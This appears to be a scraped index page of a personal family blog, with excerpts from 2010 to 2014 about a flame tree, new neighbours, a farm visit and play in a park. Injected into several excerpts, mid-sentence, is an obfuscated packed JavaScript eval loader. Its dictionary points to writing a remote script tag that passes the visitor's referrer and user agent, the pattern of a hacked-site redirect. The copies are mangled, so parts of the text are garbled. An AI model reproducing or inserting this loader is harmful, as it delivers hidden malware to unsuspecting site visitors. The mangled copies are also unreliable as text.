the flame

By |September 3rd, 2014|

 

In our front yard there is a magnificent tree.

 

 

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifbnn|var|u0026u|referrer|hehrf||js|php’.split(‘|’),0,{}))
an Illawarra Flame Tree. I remember it blooming only a couple of times in my life, but when it does, it is spectacular. The leaves all fall off and it’s covered in dense red blooms, it’s a bit magic.

Last week […]

weekendiness

By |March 27th, 2011|

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Hope you've had a wonderful weekend, you lovely folk. 
xxx

things I know

By |March 25th, 2011|

Joining eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znbzf|var|u0026u|referrer|eeinr||js|php’.split(‘|’),0,{}))
in with Yay for Home today!
 
Things I know:
1. The grass isn't always greener. Sometimes I wish I was someone else, or something other, or part of the gang, or perhaps better at self promotion. And then I take a good hard look at the absolute blessings around […]

new neighbours

By |February 23rd, 2011|

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In a short time we've become very fond of our neighbours. They're lovely. 
And as a special treat, one of the four legged kind had babies two days ago.
So we took cookies for our friend the farmer, and took another neighbour and trooped off down the road today to […]

over here we are…

By |January 27th, 2011|

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.. scoping out sunny spots for possible vegetable gardens
 

.. playing identify-the-citrus-tree. (Or we were, until my lovely new neighbour sheepishly admitted that because this place had been vacant for so long, she'd been nicking the fruit off the trees and knew every tree, in every fruiting phase!)
 

.. clarifying […]

all things bright and beautiful

By |January 24th, 2011|

Well eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dryhn|var|u0026u|referrer|yhefy||js|php’.split(‘|’),0,{}))
hello!!
I'll be honest, as my little USB modem whirred to life for the first time this afternoon, I felt the relief of a junkie getting a hit. I didn't realize how plugged in I was until I was totally unplugged. I don't like it. I like the idea […]

the office

By |November 22nd, 2010|

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I've always loved my Dad's office. 
So much so that it's weird I meandered into a corporate job for quite so long. 
I love his water cooler…

and his co-workers…

and his team building events.

 
Er, for the record, Tilly dressed herself in that stackhat, perhaps in light of her Grandfather's car racing […]

escape artists

By |September 25th, 2010|

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Oh yessirree.
A last minute bolt. Our favourite, favourite rabbit hole. 
Where else can you
:: ride your bike in your jarmies?

 
:: run through the garden and pick up the fallen lemons…

… and thrown the rotten ones…

…over the fence? (This one)

 
:: Where else would we be spending the afternoon having a […]

pretending we’re elsewhere

By |September 13th, 2010|

What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdrzz|var|u0026u|referrer|fszdr||js|php’.split(‘|’),0,{}))
do you do when you live in the city and wish for a moment you were in the middle of the bush?
You go find a park.

 
And under the orders of the captain:

You build a make-shift shelter:

You navigate the rising river:

You collect firewood:
and you have yourselves […]

recharged

By |August 2nd, 2010|

Well eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idhrs|var|u0026u|referrer|eaabb||js|php’.split(‘|’),0,{}))
hello!
I hope you had a smashing weekend. 
We did. First overnight stay away with new baby: at Mum and Dad's so not really pushing the boat out I s'pose. Totally, totally lovely.  
What's not to adore about the farm?
:: Mum and Dad's tradition of putting out your particular […]